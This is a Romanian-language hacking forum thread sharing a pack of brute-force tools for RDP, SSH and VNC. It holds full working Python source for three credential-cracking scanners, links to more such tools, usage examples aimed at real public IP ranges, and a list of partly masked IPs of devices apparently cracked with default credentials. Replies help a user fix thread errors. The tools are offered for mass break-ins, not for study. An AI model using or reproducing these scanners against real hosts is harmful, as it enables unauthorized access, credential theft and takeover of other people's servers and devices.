Jump to content
Guest

Pack Brute Forcers

Recommended Posts

Windows

-RDP

DUbrute 2.1 + Scanner IP - DUbrute 2.1 + Scanner IP [Nmap].rar download - 2shared [ asta e cel mai usor de folosit , doar trebuie sa dati click pe executabile , la dubrute trebuie sa-i faceti configul cu ip-urile scanate din nmap si sa adaugati userii si parolele. ]

Fast RDP brute GUI v2.0 - http://dservers.ru/wp-content/uploads/2013/11/frdpb2.zip pass: dservers.ru

Versiune PYTHON pentru RDP brute :

#! /usr/bin/env python
# RDP Dictionary Attack
# 21.05.2012 cmiN
#
# THIS SCRIPT IS INTENDED FOR PERSONAL AND LIMITED PURPOSES ONLY
# I AM NOT RESPONSIBLE FOR ANY LEGAL OR ILLEGAL USE OF THIS PROGRAM
#
# Connect with rdesktop, xfreerdp or something similar using
# servers, users and passwords from files.
# After checking if the port is opened, the wrapper opens a shell console
# executing the client with data from input files. In the meantime
# a local socket is accepting connections from the target and if the link
# is established then the user and password for that server are a match.
#
# You need rdesktop/xfreerdp (sudo apt-get/yum/equo install rdesktop/freerdp).
# On gentoo based systems use emerge to find and install the newest packages.
# Contact: cmin764@yahoo/gmail.com




from sys import argv, platform
from threading import Thread, active_count, Lock
from subprocess import Popen
from socket import *




# defaults
THRD = 4 # how many threads for crack phase
TOUT = 6.0 # timeout in seconds
# get global host ip
try:
sock = socket(AF_INET, SOCK_STREAM)
sock.connect(("www.google.com", 80)) # assuming google works
except error as excp: # error from socket (timed out or invalid server)
print "Check your internet connection: %s." % excp
exit()
else:
HOST = sock.getsockname()[0]
finally:
sock.close()
del sock
PORT = 51337 # used for local listening
# attack modes
RDP1 = ["rdesktop", "-u", "{user}", "-p", "{password}", "-s", "telnet {host} {port}",
"-g", "1x1", "-a", "8", "-x", "m", "-z", "-m", "{server}"]
RDP2 = ["xfreerdp", "-u", "{user}", "-p", "{password}", "-s", "telnet {host} {port}",
"-g", "1x1", "-a", "8", "-x", "m", "-z", "--no-motion", "{server}"]
VERB = False # verbose
METH = "r" # RDP1
USER = ["Administrator"]
SAFE = True
SWTC = True
LIMT = None # attacks (test only, None -> unlimited)




class Engine:
"""Main class used to find and crack servers with desired options.
For more info see usage from the bottom of the script.
It executes commands through subprocess and waits for replies within timeout.
"""


def __init__(self, threads, timeout, host, port, rdp1, rdp2, verbose, method, usr, safe, switch):
"""Copy global options and prepare the core."""
self.cli = True # activate print/stdout (set to False if a GUI is used)
self.threads = threads
self.timeout = timeout
self.host = host
self.port = port
self.rdp1 = rdp1
self.rdp2 = rdp2
self.verbose = verbose
self.sockets = dict() # D[x] = True if x is available otherwise False
self.pos = list() # list with indexes (user, password, server, telnet)
self.usr = usr
self.pwd = None
self.server = None
# set the command used for scanning
if method == "x":
self.command = self.rdp2
else:
self.command = self.rdp1
# default: don't save
self.working = None
self.cracked = None
self.good = list() # rdp servers
self.delete = set() # dispose of cracked servers
self.lock = Lock() # global printing thread synchronization
self.sock_mutex = Lock() # for localhost socket use
if "linux" in platform:
self.null = open("/dev/null", "w")
else:
self.null = open("NUL", "w")
self.safe = safe
self.switch = switch


def __del__(self):
"""Destructor."""
if hasattr(self.server, "close"):
self.server.close()
if hasattr(self.usr, "close"):
self.usr.close()
if self.pwd:
self.pwd.close()
if self.working:
self.working.close()
if self.cracked:
self.cracked.close()
for sock in self.sockets:
sock.shutdown(SHUT_RDWR)
sock.close()


def generator(self, src, dest):
"""Just like grandpa's old mileage meter :]."""
temp = "%d.%d.%d.%d"
byte = 256
yield temp % tuple(src) # yield -> the beauty of python
while (src != dest): # like return but continue
src[3] += 1
if src[3] == byte:
src[3] = 0
src[2] += 1
if src[2] == byte:
src[2] = 0
src[1] += 1
if src[1] == byte:
src[1] = 0
src[0] += 1
yield temp % tuple(src)


def set_threads(self, threads):
self.threads = threads


def set_safe(self, safe):
self.safe = safe


def set_switch(self, switch):
self.switch = switch


def set_timeout(self, timeout):
self.timeout = timeout


def set_verbose(self, verbose):
self.verbose = verbose


def set_method(self, method):
if method == "x":
self.command = self.rdp2
else:
self.command = self.rdp1


def set_usr(self, usr):
"""If this is called, then the users are taken from a file."""
self.usr = open(usr, "r") # do not use the generic one


def set_pwd(self, pwd):
"""The file with passwords is mandatory."""
self.pwd = open(pwd, "r")


def set_srv(self, server):
"""Make a file object or range generator from argument."""
if server.find("-") == -1: # not found -> not range
self.server = open(server, "r")
else:
chunks = server.split("-")
src, dest = chunks[0].split("."), chunks[1].split(".")
for i in xrange(4):
src[i] = int(src[i])
dest[i] = int(dest[i])
self.server = self.generator(src, dest)


def set_working(self, working):
"""Save progress in scan phase."""
self.working = open(working, "a") # safe append


def set_cracked(self, cracked):
"""Save progress in crack phase."""
self.cracked = open(cracked, "a")


def scan_server(self, server):
"""Check if the rdp port is opened on the specified server."""
try:
# create the socket and connect
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((server, 3389))
except error:
# timed out in most cases
if self.verbose:
self.lock.acquire()
if self.cli:
print "[-] %s [NO]" % server # only with -v
self.lock.release()
else:
# good news everyone
self.lock.acquire()
if self.cli:
print "[+] %s [OK]" % server
self.good.append(server)
if self.working:
self.working.write(server + "\n")
self.working.flush()
self.lock.release()
finally:
sock.close()


def scan(self):
"""Just like a port scanner for 3389."""
setdefaulttimeout(self.timeout / 10.0) # 10%
for server in self.server:
while active_count() > self.threads * 16:
pass # do not exceed number of threads
if self.switch: # scan them
# now call the method in a separate thread
Thread(target=self.scan_server, args=[server.strip()]).start()
else: # or skip the scan
self.good.append(server.strip())
while active_count() > 1:
pass # join all


def acquire_sock(self):
for sock, state in self.sockets.iteritems():
if state: # available
self.sockets[sock] = False # use it
return sock


def release_sock(self, sock):
self.sockets[sock] = True


def crack_server(self, command):
try:
# get a server
self.sock_mutex.acquire()
sock = self.acquire_sock()
self.sock_mutex.release()
command[self.pos[3]] = command[self.pos[3]].format(port=sock.getsockname()[1])
child = Popen(command, stdout=self.null, stderr=self.null) # no wait
sock.accept() # here is the big overhead
except error as excp:
# timed out
if self.verbose:
self.lock.acquire()
if self.cli:
print "[-] %s %s %s [NO]" % (command[self.pos[2]], command[self.pos[0]],
command[self.pos[1]])
self.lock.release()
else:
# good news again
show = "%s %s %s" % (command[self.pos[2]], command[self.pos[0]], command[self.pos[1]])
self.delete.add(command[self.pos[2]]) # cracked! no need to process again
self.lock.acquire()
if self.cli:
print "[+] " + show + " [OK]"
if self.cracked:
self.cracked.write(show + "\n")
self.cracked.flush()
self.lock.release()
finally:
child.kill()
# do not close it, instead release it for further use
self.release_sock(sock) # O(1) and can't affect the same socket


def crack(self):
"""For each user take each password and test them with each working server."""
goodLen = len(self.good)
if goodLen == 0:
if self.cli:
print "[!] No servers to crack."
return
if self.safe: # avoid deadlocks or strange behavior
self.set_threads(min(self.threads, goodLen))
users = [line.strip() for line in self.usr]
passwords = [line.strip() for line in self.pwd]
if self.cli:
print "[i] Cracking %d hosts in %fs." % (goodLen, float(len(users)) * len(passwords) *
goodLen * self.timeout / self.threads)
setdefaulttimeout(self.timeout) # now use the real timeout
# prepare the sockets
for port in xrange(self.threads):
sock = socket(AF_INET, SOCK_STREAM)
sock.settimeout(self.timeout)
sock.bind((self.host, self.port + port))
sock.listen(1)
self.sockets[sock] = True
# init command template
command = self.command
shellIndex = command.index("telnet {host} {port}")
command[shellIndex] = command[shellIndex].format(host=self.host, port="{port}")
self.pos = [command.index("{user}"), command.index("{password}"),
command.index("{server}"), shellIndex]
attacks = 0
for user in users:
command[self.pos[0]] = user
for password in passwords:
command[self.pos[1]] = password
for server in self.good:
command[self.pos[2]] = server
while active_count() > self.threads:
pass # do not exceed number of threads
attacks += 1
if LIMT and attacks > LIMT:
if self.cli:
print "[!] Limit reached, buy the script."
return
# now call the method in a separate thread
Thread(target=self.crack_server, args=[command[:]]).start()
for server in self.delete: # N^2 can be reduced to NlogN with set
self.good.remove(server) # and also to N with index memorization
self.delete.clear()
while active_count() > 1:
pass # join all




def parse():
at = 1
params = list()
while at < argc:
if argv[at] in ("-h", "--help"):
print usage
exit() # do not start the process
elif argv[at] in ("-v", "--verbose"):
app.set_verbose(True)
elif argv[at] in ("-t", "--threads"):
at += 1
app.set_threads(int(argv[at]))
elif argv[at] in ("-T", "--timeout"):
at += 1
app.set_timeout(float(argv[at]))
elif argv[at] in ("-m", "--method"):
at += 1
app.set_method(argv[at])
elif argv[at] in ("-w", "--working"):
at += 1
app.set_working(argv[at])
elif argv[at] in ("-c", "--cracked"):
at += 1
app.set_cracked(argv[at])
elif argv[at] in ("-s", "--safe-off"):
app.set_safe(False)
elif argv[at] in ("-n", "--no-scan"):
app.set_switch(False)
else:
if argv[at][0] == "-":
raise Exception("Invalid option")
params.append(argv[at])
at += 1
pLen = len(params)
if pLen not in (2, 3):
raise Exception("Invalid number of parameters")
app.set_srv(params[-1])
app.set_pwd(params[-2])
if pLen == 3:
app.set_usr(params[-3]) # same index as 0




def main():
try:
if argc == 1:
# show a message or start the GUI which is missing
print "You should run: %s --help" % argv[0]
exit()
# or parse the arguments
parse()
# and start the scanner
print "[i] Scan phase started."
app.scan() # filter the input for working rdp servers
print "[i] Crack phase started."
app.crack() # crack them
except Exception as excp:
print "[x] Error: %s." % excp
except KeyboardInterrupt:
print "[!] Stopped."
else:
print "[i] Finished."




if __name__ == "__main__":
argc = len(argv)
usage = """
Usage: {0} [options] [usr] pwd server


Options:
-t, --threads <number> number of threads (parallel connections)
-s, --safe-off by default the number of threads is reduced
to the number of working servers if it's greater
use this option to keep the number of threads
-T, --timeout <seconds> waiting response time for each connection
-m, --method <r/x> use [r]desktop or [x]freerdp
-w, --working <file> file used to store servers with 3389 opened
-c, --cracked <file> file used to store cracked servers
-n, --no-scan skip scan phase asumming all servers are working rdps
-v, --verbose show extra information (default off)
-h, --help show this help


Parameters:
usr users file (default users: {1})
pwd passwords file
server servers file or range (abc.def.ghi.jkl-mno.pqr.stu.vwx)


Examples:
{0} -c cracked.txt passwords.txt 68.195.205.60-68.195.211.60
{0} -w good.txt --timeout 2 -s pass.txt 91.202.91.119-91.202.94.15
{0} -t 256 -T 5 -v -c cracked.txt -n users.txt pass.txt good.txt


Users, passwords and working servers are loaded into memory.
Be aware to not open a file for both read and write. More exactly do not use
the same file name with `-w`/`-c` and `server`.


THIS SCRIPT IS INTENDED FOR PERSONAL AND LIMITED PURPOSES ONLY
I AM NOT RESPONSIBLE FOR ANY LEGAL OR ILLEGAL USE OF THIS PROGRAM


Send bugs to cmin764@yahoo/gmail.com.
""".format(argv[0], USER)
app = Engine(THRD, TOUT, HOST, PORT, RDP1, RDP2, VERB, METH, USER, SAFE, SWTC)
main()
del app

Usage: {0} [options] [usr] pwd server

Options:

-t, --threads <number> number of threads (parallel connections)

-s, --safe-off by default the number of threads is reduced

to the number of working servers if it's greater

use this option to keep the number of threads

-T, --timeout <seconds> waiting response time for each connection

-m, --method <r/x> use [r]desktop or [x]freerdp

-w, --working <file> file used to store servers with 3389 opened

-c, --cracked <file> file used to store cracked servers

-n, --no-scan skip scan phase asumming all servers are working rdps

-v, --verbose show extra information (default off)

-h, --help show this help

Parameters:

usr users file (default users: {1})

pwd passwords file

server servers file or range (abc.def.ghi.jkl-mno.pqr.stu.vwx)

Examples:

{0} -c cracked.txt passwords.txt 68.195.205.60-68.195.211.60

{0} -w good.txt --timeout 2 -s pass.txt 91.202.91.119-91.202.94.15

{0} -t 256 -T 5 -v -c cracked.txt -n users.txt pass.txt good.txt

Users, passwords and working servers are loaded into memory.

Be aware to not open a file for both read and write. More exactly do not use

the same file name with `-w`/`-c` and `server`.

THIS SCRIPT IS INTENDED FOR PERSONAL AND LIMITED PURPOSES ONLY

I AM NOT RESPONSIBLE FOR ANY LEGAL OR ILLEGAL USE OF THIS PROGRAM

- Servere linux cu acces root

Scanner versiune PYTHON:

import paramiko, sys, Queue, threading

class SSHBrute(threading.Thread):
def __init__(self, queue):
threading.Thread.__init__(self)
self.queue = queue
def run(self):
while True:
ip,user,passwd = self.queue.get()
self.kraken(ip,user,passwd)
self.queue.task_done()

def kraken(self,ip,user,passwd):
try:
if ip in cracked: return False

if '%user%' in str(passwd):
passwd = passwd.split("%")[0] + user + passwd.split("%")[2]
if '%User%' in str(passwd):
pwd = user + passwd.split("%")[2]
passwd = passwd.split("%")[0]+pwd.title()
if str(passwd) == '%null%':
passwd = ''

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(ip, username=user, password=passwd, timeout=35)
raw.write(ip+' '+user+' '+passwd+'\n')
raw.flush()
chan = ssh.get_transport().open_session()
chan.settimeout(35)
chan.exec_command('uname -a')
data = chan.recv(1024)

if len(data) == 0:
nologs.write(ip+' '+user+' '+passwd+'\n')
nologs.flush()
return False

val.write(ip+' '+user+' '+passwd+'|'+data.rstrip()+'\n')
val.flush()
cracked.append(ip)
chan.close()
ssh.close()
return True
except Exception, e:
if 'uthent' in str(e):
if dbg == 'bad':
bad.write(ip+'\n')
bad.flush()
#print '\r[+]Tried '+ip+' '+user+' '+passwd+' '
ssh.close()
return False
#print ip, str(e)
ssh.close()
return False

def brutemain():
if len(sys.argv) < 2:
print """
SSH Brute Force Tool
Author: @Elohim [RST]
Usage:
bruter ThreadNumber IpFile UserFile PassFile FilterSwitch*
*The filter Switch Takes Either the word "bad" or "no".
If you supply the word bad, it filters in bad.txt only the ips
which indeed support ssh AUTH and password didn't work"""
return False
ThreadNR = int(sys.argv[1])
queue = Queue.Queue(maxsize=20000)
try:
i = 0
for i in range(ThreadNR):
t = SSHBrute(queue)
t.daemon = True
t.start()
i += 1
except Exception, e:
print 'Cant start more than',i,'Threads!'

global bad
global val
global nologs
global cracked
global raw
cracked = []
bad = open('bad.txt','w')
val = open('valid.txt','a')
nologs = open('nologins.txt','a')
raw = open('raw.txt','a')
with open(str(sys.argv[2]),'rU') as ipf: ips = ipf.read().splitlines()
with open(str(sys.argv[3]),'rU') as uf: users = uf.read().splitlines()
with open(str(sys.argv[4]),'rU') as pf: passwords = pf.read().splitlines()
global dbg
dbg = str(sys.argv[5])

try:
for password in passwords:
for user in users:
for ip in ips:
queue.put((ip,user,password))
except:
pass

queue.join()

if __name__ == "__main__":
brutemain()

In cazul in care nu stiti comenzile , doar rulati-le si va va da script-ul niste comenzi.

Exemplu care sunt bune:

68.170.**.24 ubnt ubnt|Linux Ubiquiti 2.6.32.54 #1 Thu Aug 16 13:41:25 EEST 2012 mips unknown

68.117.**.194 ubnt ubnt|Linux Ubiquiti 2.6.15-5.2 #1 Mon Dec 19 20:46:46 EET 2011 mips unknown

68.13.**.45 ubnt ubnt|Linux Ubiquiti 2.6.15-5.2 #1 Mon Dec 19 20:46:46 EET 2011 mips unknown

68.170.**.64 ubnt ubnt|Linux AirRouter 2.6.32.54 #1 Fri Mar 8 10:15:49 EET 2013 mips unknown

- VNC

Versiunea cu executabil: GirlShare - Download Windows.rar - doar rulati-l si scrieti help , veti vedea care sunt comenzile. [trebuie sa modificati fisierul config ca sa scanati o clasa de ip]

Versiunea PYTHON:

import socket, struct
from Crypto.Cipher import DES
from sys import exc_info, exit, version_info, maxint
import sys
import Queue, threading
bad = open('bad.txt','w')
valid = open('valid.txt','a')
err = open('error.txt','w')
cracked = []
try:
with open('valid.txt','rU') as vf: valids = vf.read().splitlines()
for val in valids:
h1 = val.split(" ")[0]
cracked.append(h1)
except:
pass

queue = Queue.Queue(maxsize=4000)
with open('ips.txt','rU') as ipf: hosts = ipf.read().splitlines()
with open('pass.txt','rU') as pf: passwords = pf.read().splitlines()
ThreadNmber = int(sys.argv[1])
Verbose = str(sys.argv[2])

def gen_key(key):
try:
newkey = []
for ki in range(len(key)):
bsrc = ord(key[ki])
btgt = 0
for i in range(8):
if bsrc & (1 << i):
btgt = btgt | (1 << 7-i)
newkey.append(btgt)

if version_info[0] == 2:
return ''.join(chr(c) for c in newkey)
else:
return bytes(newkey)
except:
pass


class VNCBrute(threading.Thread):
def __init__(self, queue):
threading.Thread.__init__(self)
self.queue = queue

def run(self):
while True:
host,passwd = self.queue.get()
self.checker(host,passwd)
self.queue.task_done()

def checker(self,host,password):
try:
if host in cracked: return False

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setblocking(0)
s.settimeout(25)
s.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))

s.connect((host,5900))
resp = s.recv(99)

version = resp[:11].decode('ascii')
if len(resp) > 12:
s.close()
return False

major, minor = version[6], version[10]
if (major, minor) in [('3', '8'), ('4', '1')]: proto = b'RFB 003.008\n'
elif (major, minor) == ('3', '7'): proto = b'RFB 003.007\n'
else: proto = b'RFB 003.003\n'

s.sendall(proto)
resp = s.recv(99)

if minor in ('7', '8'):
code = ord(resp[0:1])
if code == 0:
s.close()
return False
s.sendall(b'\x02')
resp = s.recv(99)
else:
code = ord(resp[3:4])
if code != 2:
s.close()
return False
resp = resp[-16:]

if len(resp) != 16:
s.close()
return False

sys.stdout.write("\r[+]Trying "+host+' '+password+' ')
sys.stdout.flush()
pw = password.ljust(8, '\x00')[:8]
key = gen_key(pw)

des = DES.new(key, DES.MODE_ECB)
enc = des.encrypt(resp)

s.sendall(enc)
resp = s.recv(99)

code = ord(resp[3:4])
mesg = resp[8:].decode('ascii', 'ignore')

if code == 1:
if Verbose == 'v':
bad.write(host+'\n')
bad.flush()
s.close()
elif code == 0:
valid.write(host+' '+password+'\n')
valid.flush()
cracked.append(host)
print '\rOWNED!!! '+' '+host+' '+password,' '
s.close()
else:
s.close()
return False
except Exception, e:
err.write(host+'\n')
err.flush()
pass


def main():
try:
i = 0
for i in range(ThreadNmber):
t = VNCBrute(queue)
t.daemon = True
t.start()
i += 1
except Exception, e:
print 'Stopped at',i,'Threads'
sys.exit()
print i,'Threads spawned'

for password in passwords:
for host in hosts:
queue.put((host,password))

queue.join()


print '[+] VNC Brute Force Tool'
print '[+] Author: Elohim '
main()

Exemplu folosire:

python vnc.py 100 v/no

- 100 = Numarul de threaduri. Testat pana la 1400 de threaduri, merge impecabil daca ne permite viteza internetului.

v/no = Daca se lasa decat V, si se foloseste doar un user si o parola, se va scrie in fisierul bad.txt DOAR ipurile care chiar ruleaza un soft de vnc, si autentificarea nu a avut success.

Acea comanda o rulati in cmd , unde aveti fisierul .py pus [EX: run>cmd>cd Desktop>python fisier.py 225 v]

Linux

- RDP

RDPSploit - GirlShare - Download Linux-RDP-master.zip ; doar il rulati , o sa va dea comenzile : contine si range-urile pe tari

Versiunea PYTHON - O PUTETI DESCARCA PE CEA DE LA WINDOWS , ESTE LA FEL

- Servere linux cu acces root

Gosh2013 V2[NECESITA ETH0] - Gosh2013gosh20013.tgz

Utilizare: ./go 199

Versiunea PYTHON - O PUTETI DESCARCA PE CEA DE LA WINDOWS , ESTE LA FEL

Bruteforce ssh2 private scanner - Zippyshare.com - bssh.tgz

Avantaje:

1. filtreaza busybox

2. toate cele din bash.txt sunt servere bune

3. exista session.txt , daca se restarteaza root-ul, poti porni manual din ssh2

4. daca root-ul are mai multe interfete (ip-uri) se pot pune in fisierul interfaces.txt cate un ip pe rand, asta ajuta la scanarea mai buna pentru ca se fac requesturi de pe mai multe ip

5. pscanul este facut cu multithread adica mult mai rapid decat cele publice

Cum se foloseste?

./scan A

./scan B

./scan C

A = range A ; ex: ./scan 70

B = range B ; ex: ./scan 70.8

C = range C ; ex: ./scan 70.6.1

- VNC

Versiunea PYTHON - DESCARCATI VERSIUNEA DE LA WINDOWS , ESTE LA FEL.

VNC Pizza 0x100 - Zippyshare.com - 400.rar

Necesita eth0 , doar rulati scriptul si va va da indicatii.

- NoLogins

SSH.zip - GirlShare - Download ssh.zip

Quote:

Exemplu: ./scan 188

NoLoginele se salveaza in fisierul “vuln.txt”

Edited by BlackGate
Link to comment
Share on other sites

Pune si un virus scan la exe-uri, era dragut sa cryptezi linkurile...

Acum asteapta te la intrebari "ce fac imi da eroare xyz" , " cum fac..." , "ce e eth0 ?", "cine are un r00t ?", "da ala prinde bine?", "un passfile bun imi dati si mie" ..

Link to comment
Share on other sites

Am o problema la VNC Scanner.Imi da eroare cand scaneaza din cauza threadurilor.Nu mi-a facut asta pana acum niciodata.

Daca windows, mai scade din thread-uri

Daca linux, un ulimit -s 512 inainte ar trebui sa rezolve problema, si la fel, mai scade din thread-uri

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...